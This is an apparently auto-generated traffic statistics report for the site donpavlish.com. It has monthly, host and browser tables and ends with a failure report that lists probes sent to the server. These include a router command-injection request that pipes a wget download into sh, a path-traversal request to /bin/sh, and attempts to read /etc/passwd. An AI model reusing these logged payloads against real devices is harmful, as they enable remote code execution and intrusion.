Web Server Statistics for donpavlish.comProgram started at Fri-06-Mar-2026 00:09.
Analysed requests from Sat-06-Dec-2025 00:07 to Thu-05-Mar-2026 23:50 (89.99 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 06-Mar-2026 00:09.
Successful requests: 6 (1)
Failed requests: 3,627 (330)
Redirected requests: 4,462,856 (109,613)
Distinct files requested: 2 (1)
Distinct hosts served: 5 (1)
Corrupt logfile lines: 2,175
Unwanted logfile entries: 3,702,117
Data transferred: 1.70 kilobytes (283 bytes)
Average data transferred per day: 19 bytes (40 bytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the activity in each month.
Each unit (
) represents 1 request for a page.
| month | reqs | pages | |
|---|---|---|---|
| Dec 2025 | 1 | 0 | |
| Jan 2026 | 2 | 0 | |
| Feb 2026 | 2 | 0 | |
| Mar 2026 | 1 | 0 |
Busiest month: Dec 2025 (0 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the activity in each week.
Each unit (
) represents 1 request for a page.
| week beg. | reqs | pages | |
|---|---|---|---|
| 7/Dec/25 | 1 | 0 | |
| 14/Dec/25 | 0 | 0 | |
| 21/Dec/25 | 0 | 0 | |
| 28/Dec/25 | 1 | 0 | |
| 4/Jan/26 | 0 | 0 | |
| 11/Jan/26 | 1 | 0 | |
| 18/Jan/26 | 0 | 0 | |
| 25/Jan/26 | 0 | 0 | |
| 1/Feb/26 | 1 | 0 | |
| 8/Feb/26 | 1 | 0 | |
| 15/Feb/26 | 0 | 0 | |
| 22/Feb/26 | 0 | 0 | |
| 1/Mar/26 | 1 | 0 |
Busiest week: week beginning 7/Dec/25 (0 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the activity in each day.
Each unit (
) represents 1 request for a page.
| date | reqs | pages | |
|---|---|---|---|
| 21/Jan/26 | 0 | 0 | |
| 22/Jan/26 | 0 | 0 | |
| 23/Jan/26 | 0 | 0 | |
| 24/Jan/26 | 0 | 0 | |
| 25/Jan/26 | 0 | 0 | |
| 26/Jan/26 | 0 | 0 | |
| 27/Jan/26 | 0 | 0 | |
| 28/Jan/26 | 0 | 0 | |
| 29/Jan/26 | 0 | 0 | |
| 30/Jan/26 | 0 | 0 | |
| 31/Jan/26 | 0 | 0 | |
| 1/Feb/26 | 1 | 0 | |
| 2/Feb/26 | 0 | 0 | |
| 3/Feb/26 | 0 | 0 | |
| 4/Feb/26 | 0 | 0 | |
| 5/Feb/26 | 0 | 0 | |
| 6/Feb/26 | 0 | 0 | |
| 7/Feb/26 | 0 | 0 | |
| 8/Feb/26 | 1 | 0 | |
| 9/Feb/26 | 0 | 0 | |
| 10/Feb/26 | 0 | 0 | |
| 11/Feb/26 | 0 | 0 | |
| 12/Feb/26 | 0 | 0 | |
| 13/Feb/26 | 0 | 0 | |
| 14/Feb/26 | 0 | 0 | |
| 15/Feb/26 | 0 | 0 | |
| 16/Feb/26 | 0 | 0 | |
| 17/Feb/26 | 0 | 0 | |
| 18/Feb/26 | 0 | 0 | |
| 19/Feb/26 | 0 | 0 | |
| 20/Feb/26 | 0 | 0 | |
| 21/Feb/26 | 0 | 0 | |
| 22/Feb/26 | 0 | 0 | |
| 23/Feb/26 | 0 | 0 | |
| 24/Feb/26 | 0 | 0 | |
| 25/Feb/26 | 0 | 0 | |
| 26/Feb/26 | 0 | 0 | |
| 27/Feb/26 | 0 | 0 | |
| 28/Feb/26 | 0 | 0 | |
| 1/Mar/26 | 0 | 0 | |
| 2/Mar/26 | 0 | 0 | |
| 3/Mar/26 | 1 | 0 |
Busiest day: 9/Dec/25 (0 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit (
) represents 1 request for a page.
| day | reqs | pages | |
|---|---|---|---|
| Sun | 3 | 0 | |
| Mon | 0 | 0 | |
| Tue | 2 | 0 | |
| Wed | 0 | 0 | |
| Thu | 0 | 0 | |
| Fri | 1 | 0 | |
| Sat | 0 | 0 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit (
) represents 1 request for a page.
| hour | reqs | pages | |
|---|---|---|---|
| 0 | 0 | 0 | |
| 1 | 0 | 0 | |
| 2 | 0 | 0 | |
| 3 | 0 | 0 | |
| 4 | 0 | 0 | |
| 5 | 0 | 0 | |
| 6 | 0 | 0 | |
| 7 | 0 | 0 | |
| 8 | 0 | 0 | |
| 9 | 0 | 0 | |
| 10 | 1 | 0 | |
| 11 | 0 | 0 | |
| 12 | 0 | 0 | |
| 13 | 1 | 0 | |
| 14 | 0 | 0 | |
| 15 | 1 | 0 | |
| 16 | 0 | 0 | |
| 17 | 0 | 0 | |
| 18 | 0 | 0 | |
| 19 | 1 | 0 | |
| 20 | 2 | 0 | |
| 21 | 0 | 0 | |
| 22 | 0 | 0 | |
| 23 | 0 | 0 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.
| reqs | %bytes | domain |
|---|---|---|
| 4 | 65.13% | .org (Non Profit Making Organisations) |
| 2 | 34.87% | .com (Commercial) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the organisations of the computers which requested files.

Listing organisations, sorted by the number of requests.
| reqs | %bytes | organisation |
|---|---|---|
| 4 | 65.13% | internet-census.org |
| 2 | 34.87% | amazonaws.com |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the computers which requested files.

Listing hosts, sorted alphabetically.
| reqs | %bytes | host |
|---|---|---|
| 1 | 17.43% | ec2-108-130-102-240.eu-west-1.compute.amazonaws.com |
| 1 | 17.43% | ec2-3-249-225-6.eu-west-1.compute.amazonaws.com |
| 1 | 16.28% | sh-ams-nl-gp6-wk107a.internet-census.org |
| 2 | 32.57% | sh-chi-us-gp6-wk110c.internet-census.org |
| 1 | 16.28% | zl-dfwc-us-gp6-wk104a.internet-census.org |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the vendors of visitors' browsers.
Listing browsers with at least 1 request for a page, sorted by the number of requests for pages.
| no. | reqs | pages | browser |
|---|---|---|---|
| 6 | 0 | [not listed: 2 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
| no. | reqs | pages | OS |
|---|---|---|---|
| 1 | 3 | 0 | OS unknown |
| 2 | 3 | 0 | Windows |
| 3 | 0 | Windows NT |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Browser Summary | Operating System Report | Failure Report)
This report lists the files that caused failures, for example files not found.

Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
| reqs | file |
|---|---|
| 961 | /x16/x03/x01 |
| 322 | /cgi-bin/luci/ |
| 60 | /cgi-bin/luci/?form=country&operation=write&country=$(wget http://0.0.0.0/router.tplink.sh -O-|sh) |
| 287 | /x16/x03/x01/x05/xa8/x01 |
| 176 | /bin/sh |
| 171 | /x16/x03/x02/x01o/x01 |
| 167 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
| 144 | * |
| 131 | /x16/x03/x01/x02 |
| 99 | /x03 |
| 87 | /x16/x03/x01/x01/x0c/x01 |
| 76 | /x16/x03/x03/x01/xa4/x01 |
| 63 | SSH-2.0-Go |
| 61 | /n |
| 59 | / |
| 52 | MGLNDD_66.39.11.85_80/n |
| 42 | /x16/x03/x01/x01/xa6/x01 |
| 36 | /cgi-bin/authLogin.cgi |
| 34 | /cgi-bin/login.cgi |
| 29 | 1111/x88 |
| 28 | /cgi-bin/index.php |
| 21 | /x16/x03/x03/x01G/x01 |
| 21 | /x16/x03/x03/x01/x98/x01 |
| 21 | /x16/x03/x01/x01/x9c/x01 |
| 21 | /x16/x03/x02/x01/x99/x01 |
| 21 | /x16/x03/x03/x01U/x01 |
| 21 | /x16/x03/x01/x01/xb3/x01 |
| 18 | /x16/x03/x01/x01/n |
| 17 | /etc/passwd |
| 16 | /cgi-bin/luci |
| 16 | /cgi-bin/meteobridge.cgi |
| 382 | [not listed: 87 files] |